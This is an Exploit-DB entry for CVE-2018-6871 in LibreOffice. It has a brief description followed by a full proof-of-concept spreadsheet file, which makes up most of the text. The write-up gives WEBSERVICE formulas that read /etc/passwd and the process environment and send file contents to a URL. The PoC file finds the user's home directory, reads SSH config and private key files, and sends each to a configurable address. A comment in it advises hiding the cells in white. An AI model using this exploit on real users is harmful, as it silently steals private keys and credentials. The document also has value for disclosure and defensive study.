LibreOffice < 6.0.1 - '=WEBSERVICE' Remote Arbitrary File Disclosure

2018-02-10T00:00:00
ID EDB-ID:44022
Type exploitdb
Reporter Exploit-DB
Modified 2018-02-10T00:00:00

Description

LibreOffice < 6.0.1 - '=WEBSERVICE' Remote Arbitrary File Disclosure. CVE-2018-6871. Remote exploit for Linux platform

                                        
                                            # Vulnerability description

[CVE-2018-6871](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6871)

## First part

LibreOffice supports COM.MICROSOFT.WEBSERVICE function:

    https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4

The function is required to obtain data by URL, usually used as:

    =FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

In original:

    For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.

In LibreOffice, these restrictions are not implemented before 5.4.5/6.0.1.

## Second part

By default the cells are not updated, but if you specify the cell type like ~error, then the cell will be updated when you open document.

# Exploitation

To read file you need just:

    =WEBSERVICE("/etc/passwd")

This function can also be used to send a file:

    =WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

For successful operation, you need to send the files of the current user, so you need to retrieve current user home path.

    =MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",

Also you can parse other files too, like a ~/.ssh/config or something like that.

For other than LibreOffice Calc formats you just need embed calc object to other document (I checked it works).

# Impact

It is easy to send any files with keys, passwords and anything else. 100% success rate, absolutely silent, affect LibreOffice prior to 5.4.5/6.0.1 in all operation systems (GNU/Linux, MS Windows, macOS etc.) and may be embedded in almost all formats supporting by LO.

# Acknowledgment

Vulnerability was independently found by me (@jollheef) and Ronnie Goodrich && Andrew Krasichkov (according to LibreOffice team notes).

 - - -

# poc.fods

```
&lt;?xml version="1.0" encoding="UTF-8"?&gt;

&lt;office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:presentation="urn:oasis:names:tc:opendocument:xmlns:presentation:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.spreadsheet"&gt;
 &lt;office:automatic-styles&gt;
  &lt;style:style style:name="co1" style:family="table-column"&gt;
   &lt;style:table-column-properties fo:break-before="auto" style:column-width="73.3pt"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="co2" style:family="table-column"&gt;
   &lt;style:table-column-properties fo:break-before="auto" style:column-width="75.66pt"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="co3" style:family="table-column"&gt;
   &lt;style:table-column-properties fo:break-before="auto" style:column-width="173.14pt"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="co4" style:family="table-column"&gt;
   &lt;style:table-column-properties fo:break-before="auto" style:column-width="64.01pt"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="co5" style:family="table-column"&gt;
   &lt;style:table-column-properties fo:break-before="auto" style:column-width="420.94pt"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="co6" style:family="table-column"&gt;
   &lt;style:table-column-properties fo:break-before="auto" style:column-width="105.19pt"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="ro1" style:family="table-row"&gt;
   &lt;style:table-row-properties style:row-height="12.81pt" fo:break-before="auto" style:use-optimal-row-height="true"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="ro2" style:family="table-row"&gt;
   &lt;style:table-row-properties style:row-height="126.74pt" fo:break-before="auto" style:use-optimal-row-height="false"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="ro3" style:family="table-row"&gt;
   &lt;style:table-row-properties style:row-height="135.81pt" fo:break-before="auto" style:use-optimal-row-height="true"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="ta1" style:family="table" style:master-page-name="Default"&gt;
   &lt;style:table-properties table:display="true" style:writing-mode="lr-tb"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="ce1" style:family="table-cell" style:parent-style-name="Default" style:data-style-name="N0"/&gt;
  &lt;style:style style:name="ce2" style:family="table-cell" style:parent-style-name="Default"&gt;
   &lt;style:text-properties style:use-window-font-color="true"/&gt;
  &lt;/style:style&gt;
  &lt;style:style style:name="ce5" style:family="table-cell" style:parent-style-name="Default"&gt;
   &lt;style:table-cell-properties fo:background-color="#f3715a"/&gt;
  &lt;/style:style&gt;
  &lt;style:page-layout style:name="pm1"&gt;
   &lt;style:page-layout-properties style:writing-mode="lr-tb"/&gt;
   &lt;style:header-style&gt;
    &lt;style:header-footer-properties fo:min-height="21.26pt" fo:margin-left="0pt" fo:margin-right="0pt" fo:margin-bottom="7.09pt"/&gt;
   &lt;/style:header-style&gt;
   &lt;style:footer-style&gt;
    &lt;style:header-footer-properties fo:min-height="21.26pt" fo:margin-left="0pt" fo:margin-right="0pt" fo:margin-top="7.09pt"/&gt;
   &lt;/style:footer-style&gt;
  &lt;/style:page-layout&gt;
  &lt;style:page-layout style:name="pm2"&gt;
   &lt;style:page-layout-properties style:writing-mode="lr-tb"/&gt;
   &lt;style:header-style&gt;
    &lt;style:header-footer-properties fo:min-height="21.26pt" fo:margin-left="0pt" fo:margin-right="0pt" fo:margin-bottom="7.09pt" fo:border="2.49pt solid #000000" fo:padding="0.51pt" fo:background-color="#c0c0c0"&gt;
     &lt;style:background-image/&gt;
    &lt;/style:header-footer-properties&gt;
   &lt;/style:header-style&gt;
   &lt;style:footer-style&gt;
    &lt;style:header-footer-properties fo:min-height="21.26pt" fo:margin-left="0pt" fo:margin-right="0pt" fo:margin-top="7.09pt" fo:border="2.49pt solid #000000" fo:padding="0.51pt" fo:background-color="#c0c0c0"&gt;
     &lt;style:background-image/&gt;
    &lt;/style:header-footer-properties&gt;
   &lt;/style:footer-style&gt;
  &lt;/style:page-layout&gt;
 &lt;/office:automatic-styles&gt;
 &lt;office:body&gt;
  &lt;office:spreadsheet&gt;
   &lt;table:calculation-settings table:automatic-find-labels="false" table:use-regular-expressions="false" table:use-wildcards="true"/&gt;
   &lt;table:table table:name="Sheet1" table:style-name="ta1"&gt;
    &lt;table:table-column table:style-name="co1" table:default-cell-style-name="Default"/&gt;
    &lt;table:table-column table:style-name="co2" table:default-cell-style-name="Default"/&gt;
    &lt;table:table-column table:style-name="co3" table:default-cell-style-name="Default"/&gt;
    &lt;table:table-column table:style-name="co4" table:number-columns-repeated="2" table:default-cell-style-name="Default"/&gt;
    &lt;table:table-column table:style-name="co5" table:default-cell-style-name="Default"/&gt;
    &lt;table:table-column table:style-name="co4" table:number-columns-repeated="2" table:default-cell-style-name="Default"/&gt;
    &lt;table:table-column table:style-name="co6" table:default-cell-style-name="Default"/&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell office:value-type="string" calcext:value-type="string"&gt;
      &lt;text:p&gt;Proof-of-concept: send private keys (this cells of course must be moved and set color to white)&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="8"/&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell table:number-columns-repeated="9"/&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro2"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="string" calcext:value-type="string"&gt;
      &lt;text:p&gt;Current user:&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:style-name="ce1" table:formula="of:="/home/" & MID(COM.MICROSOFT.WEBSERVICE("/proc/self/environ"); FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ")) + LEN("USER="); SEARCH(CHAR(0); COM.MICROSOFT.WEBSERVICE("/proc/self/environ"); FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ")))-FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ"))-LEN("USER=")) & "/"" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
       &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:style-name="ce2" table:formula="of:=FIND(":"; [.F3]; [.E3])" office:value-type="float" office:value="689" calcext:value-type="float"&gt;
      &lt;text:p&gt;689&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:style-name="ce2" table:formula="of:=FIND("/home"; [.F3]; FIND(":x:1000:1000:"; [.F3]))" office:value-type="float" office:value="676" calcext:value-type="float"&gt;
      &lt;text:p&gt;676&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:style-name="ce2" table:formula="of:=COM.MICROSOFT.WEBSERVICE("/etc/passwd")" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
       &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell table:style-name="ce5" office:value-type="string" calcext:value-type="string"&gt;&lt;text:p&gt;(change this)&lt;/text:p&gt;&lt;text:p&gt;Address:&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:style-name="ce5" office:value-type="string" calcext:value-type="string"&gt;
      &lt;text:p&gt;http://localhost:8080&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro3"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="string" calcext:value-type="string"&gt;
      &lt;text:p&gt;List of private keys:&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:style-name="ce1"/&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=SUBSTITUTE(COM.MICROSOFT.WEBSERVICE([.C3] & "/.ssh/config"); "~"; [.C3])" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
       &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="string" calcext:value-type="string"&gt;
      &lt;text:p&gt;Send:&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell/&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="string" calcext:value-type="string"&gt;
      &lt;text:p&gt;0 (default path)&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.C3] & "/.ssh/id_rsa"" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="5"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C5]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="1" calcext:value-type="float"&gt;
      &lt;text:p&gt;1&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E6]; [.D6]-[.E6])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F6])" office:value-type="float" office:value="132" calcext:value-type="float"&gt;
      &lt;text:p&gt;132&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F6]+LEN("IdentityFile ")" office:value-type="float" office:value="109" calcext:value-type="float"&gt;
      &lt;text:p&gt;109&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.F4])" office:value-type="float" office:value="96" calcext:value-type="float"&gt;
      &lt;text:p&gt;96&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C6]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="2" calcext:value-type="float"&gt;
      &lt;text:p&gt;2&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E7]; [.D7]-[.E7])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F7])" office:value-type="float" office:value="297" calcext:value-type="float"&gt;
      &lt;text:p&gt;297&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F7]+LEN("IdentityFile ")" office:value-type="float" office:value="259" calcext:value-type="float"&gt;
      &lt;text:p&gt;259&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F6];1))" office:value-type="float" office:value="246" calcext:value-type="float"&gt;
      &lt;text:p&gt;246&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C7]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="3" calcext:value-type="float"&gt;
      &lt;text:p&gt;3&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E8]; [.D8]-[.E8])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F8])" office:value-type="float" office:value="436" calcext:value-type="float"&gt;
      &lt;text:p&gt;436&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F8]+LEN("IdentityFile ")" office:value-type="float" office:value="409" calcext:value-type="float"&gt;
      &lt;text:p&gt;409&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F7];1))" office:value-type="float" office:value="396" calcext:value-type="float"&gt;
      &lt;text:p&gt;396&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C8]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="4" calcext:value-type="float"&gt;
      &lt;text:p&gt;4&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E9]; [.D9]-[.E9])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F9])" office:value-type="float" office:value="586" calcext:value-type="float"&gt;
      &lt;text:p&gt;586&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F9]+LEN("IdentityFile ")" office:value-type="float" office:value="563" calcext:value-type="float"&gt;
      &lt;text:p&gt;563&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F8];1))" office:value-type="float" office:value="550" calcext:value-type="float"&gt;
      &lt;text:p&gt;550&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C9]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="5" calcext:value-type="float"&gt;
      &lt;text:p&gt;5&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E10]; [.D10]-[.E10])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F10])" office:value-type="float" office:value="718" calcext:value-type="float"&gt;
      &lt;text:p&gt;718&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F10]+LEN("IdentityFile ")" office:value-type="float" office:value="695" calcext:value-type="float"&gt;
      &lt;text:p&gt;695&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F9];1))" office:value-type="float" office:value="682" calcext:value-type="float"&gt;
      &lt;text:p&gt;682&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C10]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="6" calcext:value-type="float"&gt;
      &lt;text:p&gt;6&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E11]; [.D11]-[.E11])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F11])" office:value-type="float" office:value="882" calcext:value-type="float"&gt;
      &lt;text:p&gt;882&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F11]+LEN("IdentityFile ")" office:value-type="float" office:value="860" calcext:value-type="float"&gt;
      &lt;text:p&gt;860&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F10];1))" office:value-type="float" office:value="847" calcext:value-type="float"&gt;
      &lt;text:p&gt;847&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C11]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="7" calcext:value-type="float"&gt;
      &lt;text:p&gt;7&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E12]; [.D12]-[.E12])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F12])" office:value-type="float" office:value="1267" calcext:value-type="float"&gt;
      &lt;text:p&gt;1267&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F12]+LEN("IdentityFile ")" office:value-type="float" office:value="1240" calcext:value-type="float"&gt;
      &lt;text:p&gt;1240&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F11];1))" office:value-type="float" office:value="1227" calcext:value-type="float"&gt;
      &lt;text:p&gt;1227&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C12]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="8" calcext:value-type="float"&gt;
      &lt;text:p&gt;8&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E13]; [.D13]-[.E13])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F13])" office:value-type="float" office:value="1408" calcext:value-type="float"&gt;
      &lt;text:p&gt;1408&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F13]+LEN("IdentityFile ")" office:value-type="float" office:value="1383" calcext:value-type="float"&gt;
      &lt;text:p&gt;1383&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F12];1))" office:value-type="float" office:value="1370" calcext:value-type="float"&gt;
      &lt;text:p&gt;1370&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C13]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
    &lt;table:table-row table:style-name="ro1"&gt;
     &lt;table:table-cell/&gt;
     &lt;table:table-cell office:value-type="float" office:value="9" calcext:value-type="float"&gt;
      &lt;text:p&gt;9&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=MID([.$F$4]; [.E14]; [.D14]-[.E14])" office:value-type="string" office:string-value="" calcext:value-type="string"&gt;
      &lt;text:p&gt;&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F14])" office:value-type="float" office:value="0" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=[.F14]+LEN("IdentityFile ")" office:value-type="float" office:value="0" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F13];1))" office:value-type="float" office:value="0" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
     &lt;table:table-cell table:number-columns-repeated="2"/&gt;
     &lt;table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q=" & COM.MICROSOFT.WEBSERVICE([.C14]))" office:value-type="string" office:string-value="" calcext:value-type="error"&gt;
      &lt;text:p&gt;#VALUE!&lt;/text:p&gt;
     &lt;/table:table-cell&gt;
    &lt;/table:table-row&gt;
   &lt;/table:table&gt;
   &lt;table:named-expressions/&gt;
  &lt;/office:spreadsheet&gt;
 &lt;/office:body&gt;
&lt;/office:document&gt;
```